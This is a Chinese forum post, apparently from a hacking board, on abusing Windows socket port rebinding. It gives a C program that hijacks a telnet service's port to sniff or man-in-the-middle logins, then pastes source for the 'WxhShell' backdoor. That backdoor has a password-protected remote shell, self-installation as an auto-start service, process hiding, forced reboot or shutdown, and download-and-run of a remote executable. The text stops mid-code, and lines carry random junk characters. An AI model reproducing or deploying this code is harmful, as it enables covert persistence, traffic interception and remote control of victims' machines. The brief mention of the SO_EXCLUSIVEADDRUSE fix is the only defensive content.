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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )yK!qu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -/qrEKQ0U?  
FT enXJ/c  
  saddr.sin_family = AF_INET; dCK -"#T!  
HY:@=%R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |#B"j1D,H  
7A|jnm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4>E2G:  
t;1NzI$^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~GeYB6F  
,'673PR  
  这意味着什么?意味着可以进行如下的攻击: FS}z_G|4]  
)-{Qa\6(%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MnI $%  
L' pZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ({9!P30:  
?f`-&c;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F1=+<]!  
v8IL[g6"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z9D4;1  
5xHiq &d.E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HKkf+)%)x  
B<RONQj_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !T~d5^l!  
1W g8jr's  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $OD5t5eTsM  
ezvaAhd{  
  #include |Q;o538  
  #include GXRjR\Ch  
  #include \d+HYLAJn  
  #include    bH{aI:9Fb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c" 7pf T  
  int main() gsp 7N  
  { 9-^p23.@[j  
  WORD wVersionRequested; ftPw6  
  DWORD ret; QA(,K}z~^S  
  WSADATA wsaData; ^IpiNY/%Q  
  BOOL val; 1#<E]<='t  
  SOCKADDR_IN saddr; }(K6 YL  
  SOCKADDR_IN scaddr; hI8C XG  
  int err; g4 X,*H  
  SOCKET s; #U}U>4'  
  SOCKET sc; d/>,U7eS[+  
  int caddsize; ?Q3~n^  
  HANDLE mt; J":9  
  DWORD tid;   @;}H<&"  
  wVersionRequested = MAKEWORD( 2, 2 ); }$1 ;<  
  err = WSAStartup( wVersionRequested, &wsaData ); Ag6 (  
  if ( err != 0 ) { }6> J   
  printf("error!WSAStartup failed!\n"); z)>{O3  
  return -1; Y(zN  
  } 7]j-zv  
  saddr.sin_family = AF_INET; )''wu\7A)'  
   %6'D!H?d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )1}g7:  
u&XkbPZ%4c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |q2lTbJ  
  saddr.sin_port = htons(23); {UBQ?7.jE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bedjw =B  
  { ]P$DAi   
  printf("error!socket failed!\n"); <\g&%c,   
  return -1; ~,68S^nP)H  
  } @t8kN6.  
  val = TRUE; ~bTae =FP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -<!17jy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YX VJJd$U  
  { p8dn-4  
  printf("error!setsockopt failed!\n"); X); Zm7  
  return -1; &;U7/?Q  
  } ~UC/|t$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zD;] sk4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Te}yQ=+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !u}3H|6~  
J*!:ar  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;-GzGDc~0  
  { pHB35=p28  
  ret=GetLastError(); y9li<u<PF  
  printf("error!bind failed!\n"); Xb-c`k~_  
  return -1; o}+Uy  
  } 78CJ  
  listen(s,2); |u r~s$8y-  
  while(1) YB~t|m65  
  { j(C UYm  
  caddsize = sizeof(scaddr); KR(} A"  
  //接受连接请求 V?59 .TJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uyt-q|83=  
  if(sc!=INVALID_SOCKET) :wZ`>,K"t>  
  { B"9hQb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iv+jv2ZF%  
  if(mt==NULL) d5"EvT  
  { F ssEs!#  
  printf("Thread Creat Failed!\n"); #pQ"+X  
  break; Df~p 'N-$  
  } *P R_Y=v%  
  } .l=*R7~EU  
  CloseHandle(mt); Z/= %J3f  
  } |zq!CLjD@  
  closesocket(s); G+ v, Hi1  
  WSACleanup(); Rgfhs[Z  
  return 0; }K80G~O2<  
  }   ^Lmc%y  
  DWORD WINAPI ClientThread(LPVOID lpParam) C'czXZtn  
  { nQ17E{^pR  
  SOCKET ss = (SOCKET)lpParam; :LiDJF  
  SOCKET sc; Z3So|M{v  
  unsigned char buf[4096]; xY'qm8V  
  SOCKADDR_IN saddr; CEuk1$  
  long num; (F[/~~  
  DWORD val; O+p-1 C$\  
  DWORD ret; tNuCxb-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j'Y"/<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   04PoBv~g  
  saddr.sin_family = AF_INET; #C1A5JE&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n_aNs]C9R  
  saddr.sin_port = htons(23); D5!K<G?-K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %7>AcTN~  
  { 3V Mh)  
  printf("error!socket failed!\n"); `X<`j6zaG  
  return -1; [s{r$!Gl  
  } Y3$PQwn .P  
  val = 100; 25a#eDbqi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PIEW\i  
  { rW~?0  
  ret = GetLastError(); sh(kRrdY3  
  return -1; *rn]/w8ZW  
  } . z$Sm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3P#+) F~  
  { 5`"*y iv  
  ret = GetLastError(); $FQcDo|[  
  return -1; 7<1fKrN?GF  
  } AX!>l;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0^}'+t,lc  
  { dmaqXsU8q  
  printf("error!socket connect failed!\n"); z/0yO@_D/q  
  closesocket(sc); }WO9!E(  
  closesocket(ss); WiNr866nB  
  return -1; J[!x%8m  
  } i6F:C &.  
  while(1) 1rv$?=Z  
  { ,.oa,sku  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r'd:SaU+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <,@H;|mZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &*aer5?`  
  num = recv(ss,buf,4096,0); y Tw',N{  
  if(num>0) w.D4dv_H  
  send(sc,buf,num,0); o9 i#N  
  else if(num==0) Qb?y@>-[  
  break; /~Zc}o,J  
  num = recv(sc,buf,4096,0); ~)wwX:;B_  
  if(num>0) h7EUIlh"  
  send(ss,buf,num,0); 7~ *;=,mw  
  else if(num==0) gj[ >p=Wn  
  break; WbQhl sc:  
  } mX@j  
  closesocket(ss); niYz9YX  
  closesocket(sc); jy!f{dsC  
  return 0 ; Eg`R|CF  
  } }$|%/Y  
JN&MyA"  
m)@Q_{=6M  
========================================================== Mr=}B6`  
K5!";V  
下边附上一个代码,,WXhSHELL 3s?v(1 {)  
_b0S  
========================================================== m|[\F#+C  
nY{i>Y  
#include "stdafx.h" NokXE  
U~{Sa+  
#include <stdio.h> 'f-   
#include <string.h> N b3I%r  
#include <windows.h> ~># LOT `  
#include <winsock2.h> Ql~#((K  
#include <winsvc.h> _\,rX\  
#include <urlmon.h> ^91sl5c8yD  
"u(S2'DW'(  
#pragma comment (lib, "Ws2_32.lib") wTTTrk  
#pragma comment (lib, "urlmon.lib") iN<(O7B;  
G-\<5]k]  
#define MAX_USER   100 // 最大客户端连接数 [i(Cl}  
#define BUF_SOCK   200 // sock buffer DC|xilP1O  
#define KEY_BUFF   255 // 输入 buffer 9m\)\/V  
S9G8aea/  
#define REBOOT     0   // 重启 BgJkrv7~  
#define SHUTDOWN   1   // 关机 %"l81z  
M'cJ)-G  
#define DEF_PORT   5000 // 监听端口 uX[O,l^}  
0\5M^:8i3  
#define REG_LEN     16   // 注册表键长度 g|ql 5jW  
#define SVC_LEN     80   // NT服务名长度 FNz84qVIx'  
YO@hE>  
// 从dll定义API n 5~=qQK2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CgVh\4,a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <\, & :<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UvPp~N 7,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gf0PMc3l  
/:#j ?c  
// wxhshell配置信息 PM~bM3Ei  
struct WSCFG { OlEpid'Z  
  int ws_port;         // 监听端口 2;~KL-h0TK  
  char ws_passstr[REG_LEN]; // 口令 \ |4 Ca't  
  int ws_autoins;       // 安装标记, 1=yes 0=no '1CD- Bu  
  char ws_regname[REG_LEN]; // 注册表键名 L"[IOV9S  
  char ws_svcname[REG_LEN]; // 服务名 T(Y}V[0+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *I:mw8t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iY0,WT}&n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 13ipaz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0SJ{@*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `0yb?Nk `:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /K_ i8!y  
:~t<L%tYF  
}; qPsyqn?Y|  
d4d\0[  
// default Wxhshell configuration &bB6}H(  
struct WSCFG wscfg={DEF_PORT, U+4HG  
    "xuhuanlingzhe", 7}<Sg  
    1, 'oC$6l'rQ  
    "Wxhshell", )*!1bgXQ  
    "Wxhshell",  Nm jzDN  
            "WxhShell Service", ;xSRwSNDi(  
    "Wrsky Windows CmdShell Service", >4Iv[ D1  
    "Please Input Your Password: ", iH[E= 6*  
  1, +yth_9  
  "http://www.wrsky.com/wxhshell.exe", De;,=BSp  
  "Wxhshell.exe" mH'\:oN  
    }; =f o4x|{O  
f 4R1$(<  
// 消息定义模块 /ca(a\@R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h=hoV5d@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DeA@0HOxh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;)gLjF/F7  
char *msg_ws_ext="\n\rExit."; 5+`=t07^et  
char *msg_ws_end="\n\rQuit."; }W1^t  
char *msg_ws_boot="\n\rReboot..."; /M 0 p_4  
char *msg_ws_poff="\n\rShutdown..."; u/ }xE7G  
char *msg_ws_down="\n\rSave to "; GUKDhg,W  
wjuGq.qIu  
char *msg_ws_err="\n\rErr!"; e d_m +NM  
char *msg_ws_ok="\n\rOK!"; ll_}& a0G  
fb /qoZ  
char ExeFile[MAX_PATH]; aJI>FTdK  
int nUser = 0; l x7Kw%  
HANDLE handles[MAX_USER]; h:f;mn?x  
int OsIsNt; FnY$)o;   
pNuqT*  
SERVICE_STATUS       serviceStatus; b<\$d4Qy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {&uT3*V1  
9 >%+bA(  
// 函数声明 o5>/}wIf  
int Install(void); /n(9&'H<  
int Uninstall(void); -=}b;Kf -  
int DownloadFile(char *sURL, SOCKET wsh); rWJ*e Y  
int Boot(int flag); \kxh#{$z?  
void HideProc(void); TNx_Rc}  
int GetOsVer(void); \F[n`C"Is  
int Wxhshell(SOCKET wsl); ?k"0w)8  
void TalkWithClient(void *cs); 7 xUE,)?  
int CmdShell(SOCKET sock); 3Mw}R6g@#  
int StartFromService(void); .M8=^,h^K  
int StartWxhshell(LPSTR lpCmdLine); B0v|{C   
fO #?k<p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,pn ) >  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9MT3T?IS  
3#9uEDdE  
// 数据结构和表定义 #7+]%;h  
SERVICE_TABLE_ENTRY DispatchTable[] = ^=k {~  
{ A&NqQ V,  
{wscfg.ws_svcname, NTServiceMain}, 6>s=Ci ZB  
{NULL, NULL} pOKeEW<q  
}; =9(tsB gTX  
X\kjAMuW/*  
// 自我安装 NK~PcdGl  
int Install(void) k9 l^6#<?  
{ .W$ sxVXB  
  char svExeFile[MAX_PATH]; 7g5@vYS+  
  HKEY key; zb>;?et;)  
  strcpy(svExeFile,ExeFile); yu=piP  
wsq LXZI  
// 如果是win9x系统,修改注册表设为自启动 <iRWd  
if(!OsIsNt) { X3AwM%,!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zLL)VFCJW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b) Ux3PB  
  RegCloseKey(key); ~ibF M5m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { of=ql  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vffH  
  RegCloseKey(key); "(<%Ua  
  return 0; @O'I)(To  
    } q4+Yv2e <r  
  } w?_`/oqd|  
} O MvT;Vgg  
else { A0OB$OK  
3 tF:  
// 如果是NT以上系统,安装为系统服务 vnL?O8`c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JxHv<p[  
if (schSCManager!=0) '^DUq?E4  
{ '=p?  
  SC_HANDLE schService = CreateService BR3wX4i\  
  ( -n-Z/5~ X  
  schSCManager, " <Qm -  
  wscfg.ws_svcname, s@PLS5d"  
  wscfg.ws_svcdisp, QypZH"Np  
  SERVICE_ALL_ACCESS, \ZsP]};*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2 ^oGwx @  
  SERVICE_AUTO_START, @C=m?7O98  
  SERVICE_ERROR_NORMAL, L$kgK# T  
  svExeFile, oK$ '9c5<  
  NULL, *y?[ <2"$  
  NULL, $C$ub&D ~"  
  NULL, H~eGgm;p  
  NULL, [<Q4U{F  
  NULL 3[.3dy7,Z  
  ); >C*4_J7  
  if (schService!=0) nSHNis  
  { \WX@PfL  
  CloseServiceHandle(schService); T=>vh*J  
  CloseServiceHandle(schSCManager); 6m@0;Ht  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mb1wYh  
  strcat(svExeFile,wscfg.ws_svcname); WU7cF81$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5/,Qz>QE[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _-RyHgX  
  RegCloseKey(key); 8RU.}PD  
  return 0; =gs~\q  
    } `|,Bm|~:  
  } {pC\\}  
  CloseServiceHandle(schSCManager); zQ_z7FJCB  
} 9*DEv0}a^  
} 5x2L(l-2  
yuv4*  
return 1; "|hlDe<  
} 8+ hhdy*b  
` .$&T7  
// 自我卸载 ` jyKCm.$#  
int Uninstall(void) &//2eL  
{ TA|s@T{  
  HKEY key; ?9Ma^C;}  
 E>"8 /  
if(!OsIsNt) { {"t5\U6cKM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ FXp*FbQ  
  RegDeleteValue(key,wscfg.ws_regname); ~?d>fR:X  
  RegCloseKey(key); ;Yv14{T!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hJLT!33:  
  RegDeleteValue(key,wscfg.ws_regname); Qh8C,"a  
  RegCloseKey(key); UBIIo'u  
  return 0; 8jNOEM(0Y+  
  } Z0W0uP;J  
} 2LC w*eT{)  
} #QS?s8IrW  
else { TaWaHf  
-x5F;d}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Qr:!MA  
if (schSCManager!=0) }jiK3?e  
{ 6bUl > 4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bS%C?8  
  if (schService!=0) tpGCrn2w>  
  { %I0}4$  
  if(DeleteService(schService)!=0) { &Sa~/!M  
  CloseServiceHandle(schService); 7D9]R#-K  
  CloseServiceHandle(schSCManager); ]Zk}ZG>6  
  return 0; QAUykS8  
  } o}  {-j  
  CloseServiceHandle(schService); =ajLa/m'  
  } "&<~UiI  
  CloseServiceHandle(schSCManager); mr qaM2,(I  
} g>T  
} ai9  
s [T{c.F  
return 1; /B[}I}X  
} U!Mf]3  
`S$sQ&  
// 从指定url下载文件 t\%%d)d9  
int DownloadFile(char *sURL, SOCKET wsh) * :S~C  
{ `2e_ L  
  HRESULT hr; -N4z-ozhC  
char seps[]= "/"; GXYj+ qJ  
char *token; _r5wF(Y?7  
char *file; 7>mhK7l  
char myURL[MAX_PATH]; Wc\+x1:8  
char myFILE[MAX_PATH]; ZB0+GG\  
S<pk c8  
strcpy(myURL,sURL); 2vvh|?M  
  token=strtok(myURL,seps); C`EY5"N r  
  while(token!=NULL) AqqHD=Yp  
  { yW`e |!  
    file=token; R{`gR"*  
  token=strtok(NULL,seps); QTE:K?  
  } I^:F)a:  
bRsc-Fz6  
GetCurrentDirectory(MAX_PATH,myFILE); ;W~4L+e  
strcat(myFILE, "\\"); Fv@tD4I>  
strcat(myFILE, file); U{HML|  
  send(wsh,myFILE,strlen(myFILE),0); xW0Z'==  
send(wsh,"...",3,0); x?=B\8m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }AJ L,Q7q  
  if(hr==S_OK) 1daL y  
return 0; -=sf}4A  
else Q1]Wo9j  
return 1; *{nunb>WO  
O4!9{  
} xEC 2@J  
^Et ,TF\  
// 系统电源模块 8W$L:{ez  
int Boot(int flag) H`5Ct  
{ x=vK EyS@  
  HANDLE hToken; BUDGyl/=  
  TOKEN_PRIVILEGES tkp; X|Dpt2A=  
0e\y~#-  
  if(OsIsNt) { j/' g$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); = hhvmo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,2_w=<hq  
    tkp.PrivilegeCount = 1; F9O`HFVK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4|=vxJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;AJ< LC  
if(flag==REBOOT) { `@MPkC y1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T5q-" W6\  
  return 0; "/!'9na{QL  
} vnZ4(  
else { |(&oI(l5K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vmtzig3w[  
  return 0; 506V0]`/  
} F1J#Y$q~L  
  } IX.sy  
  else { V]m^7^m3  
if(flag==REBOOT) { - f 4>MG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !xymoiArp  
  return 0; I{EIHD<  
} ?b"Vj+1:x  
else { m/{Y]D{2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,ex]$fQ'  
  return 0; ,jTPg/r  
} lz}llLb1  
} Pa[?L:E  
p+)C$2YK  
return 1; #@E(<Pu4`  
} 4]EvT=Ro  
Rf?%Tv0\  
// win9x进程隐藏模块 /`}6rXnw9  
void HideProc(void) mYzcVhV  
{ o6|"J%9GX  
ng 9NE8F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PqI![KxZW  
  if ( hKernel != NULL ) %z2oDAjX  
  { RQ|?Ce",  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7PA=)a\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "*t6t4/Q  
    FreeLibrary(hKernel); A6Q c;v+  
  } JSRg?p\  
Lrlk*   
return; FCAJavOGH  
} H4 =IY  
U1jSUkqb  
// 获取操作系统版本 I:HV6_/^-G  
int GetOsVer(void) $YPQC  
{ #r(a~  
  OSVERSIONINFO winfo; c8q G\\t[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F'XlJ M  
  GetVersionEx(&winfo); %]!?{U\*k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GRy4cb2  
  return 1; O'fc/cvh='  
  else M&OsRrq  
  return 0; pLPd[a  
} Cc*|Zw  
"raj>2@  
// 客户端句柄模块 v=>3"!*  
int Wxhshell(SOCKET wsl) 6# R;HbkO  
{ :/~_sJt C  
  SOCKET wsh;  XtR`?  
  struct sockaddr_in client; }^Z< dbt  
  DWORD myID; t:disL& !E  
6kC)\ uy  
  while(nUser<MAX_USER) `u$24h'!  
{ 9c%(]Rn:  
  int nSize=sizeof(client); IQ#So]9~Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5uzpTNAMM1  
  if(wsh==INVALID_SOCKET) return 1; <9 T [yg  
X!m;uJZp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oR7 7`  
if(handles[nUser]==0) u$\Tg3du2  
  closesocket(wsh); ~O8] 3+U  
else y^ 3,X_0  
  nUser++; eZ[#+0J  
  } iKY-;YK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jD<9=B(g  
,I=O"z>9  
  return 0; 6B /Jp  
} Z"+(LO!  
RBPYG u'6B  
// 关闭 socket IK85D>00T  
void CloseIt(SOCKET wsh) rtoSCj:  
{ r!>es;R8  
closesocket(wsh); lf}?!*V`+  
nUser--; JW2W>6Dgv[  
ExitThread(0); .ZM]%[4  
} U24V55ZnI  
V.+DP  
// 客户端请求句柄 4U:DJ_GN  
void TalkWithClient(void *cs) WtMcI>4w  
{ cS+?s=d  
v#w4{.8)  
  SOCKET wsh=(SOCKET)cs;  PVS\,  
  char pwd[SVC_LEN]; m79m{!q$-  
  char cmd[KEY_BUFF]; S|tA[klh  
char chr[1]; l8eT{!4  
int i,j; zC[i <'h!T  
^BQ>vI'.4  
  while (nUser < MAX_USER) { 'w :tq  
hl=oiUf[s  
if(wscfg.ws_passstr) { DM+sjn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aIY$5^x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9[B<rz  
  //ZeroMemory(pwd,KEY_BUFF); E\W;:p,{A  
      i=0; >I{4  
  while(i<SVC_LEN) { @:I \\S@bN  
4+ykE:  
  // 设置超时 [<,0A]m   
  fd_set FdRead; X*(gT1"t  
  struct timeval TimeOut; `>$g y/N  
  FD_ZERO(&FdRead); }x>}:"P;W  
  FD_SET(wsh,&FdRead); bwv/{3G,Ys  
  TimeOut.tv_sec=8; `W6:=H  
  TimeOut.tv_usec=0; Be'?#Qe   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,!xz*o+#@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d91I  
/2=_B4E2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f'8B[&@L  
  pwd=chr[0]; EG8%~k+R  
  if(chr[0]==0xd || chr[0]==0xa) { Fa Qu$q  
  pwd=0; ytuWT,u  
  break; i G?w;  
  } q_OY sg  
  i++; 2X qPZ]2g  
    } 17?NR\Q  
7] R6  
  // 如果是非法用户,关闭 socket 1==P.d(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bgkbwE  
} yL^M~lws  
mg/C Ux  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \k2C 5f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WoC\a^V  
1)nM#@%](h  
while(1) { k 2 mkOb  
'` BjRg57]  
  ZeroMemory(cmd,KEY_BUFF); +Y_Q?/M@8  
y$+!%y*  
      // 自动支持客户端 telnet标准   )m$1al  
  j=0; /1s9;'I  
  while(j<KEY_BUFF) { 3Y.d&Nz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 LZL!^ 5N  
  cmd[j]=chr[0]; [M,27  
  if(chr[0]==0xa || chr[0]==0xd) { )eIz{Mdp=  
  cmd[j]=0; eWqVh[  
  break; BVwRPt  
  } d|D'&&&c  
  j++; -;W\f<q]  
    } a,F8+ Pb>  
81%qM7v9H  
  // 下载文件 WHdqO8  
  if(strstr(cmd,"http://")) { j};pv2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  Y,<WX v  
  if(DownloadFile(cmd,wsh)) v ](G?L9b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |TNiKy  
  else &Nj:XX;X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gx~"iM  
  } Rz])wBv e  
  else { g(z#h$@S  
^"6D0!'N  
    switch(cmd[0]) { =B ,_d0Id  
  d6Q :{!Sd"  
  // 帮助 8_sU8q*s  
  case '?': { V@54k*V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vh:UXE lm  
    break; pU'`9f Li_  
  } Zip K;!9by  
  // 安装 VLwJ6?.f'  
  case 'i': { ePu2t3E  
    if(Install()) Y;%R/OyWY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ajcPt]f  
    else t6H2tP\AS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^| a&%wxA  
    break; MFCbx>#  
    } pXh^M{.  
  // 卸载 2yQ;lQ`  
  case 'r': { nFf\tf%8  
    if(Uninstall()) Sf.8Ibw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T{v<  
    else 9 up* g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HCe-]nMd  
    break; o+6^|RP  
    } J T0,Z  
  // 显示 wxhshell 所在路径 !@]h@MC$7  
  case 'p': { K_w0+oY a  
    char svExeFile[MAX_PATH]; *6\`A!C  
    strcpy(svExeFile,"\n\r"); =":V WHf  
      strcat(svExeFile,ExeFile); =."WvBKg  
        send(wsh,svExeFile,strlen(svExeFile),0); iu:p &h  
    break; iA{chQBr  
    } aF4V|?+  
  // 重启 [ XY:MU e  
  case 'b': { r)Mx.`d!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3<1HqU  
    if(Boot(REBOOT)) R;Ix<y{U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B2Awdw3=g  
    else { S|u1QGB  
    closesocket(wsh); KzFs#rhpn  
    ExitThread(0); V }r_   
    } UU:QK{{E  
    break; 0I ND9h. %  
    } -$!Pf$l@  
  // 关机 zWR*g/i  
  case 'd': { 2Yg[8Tm#  
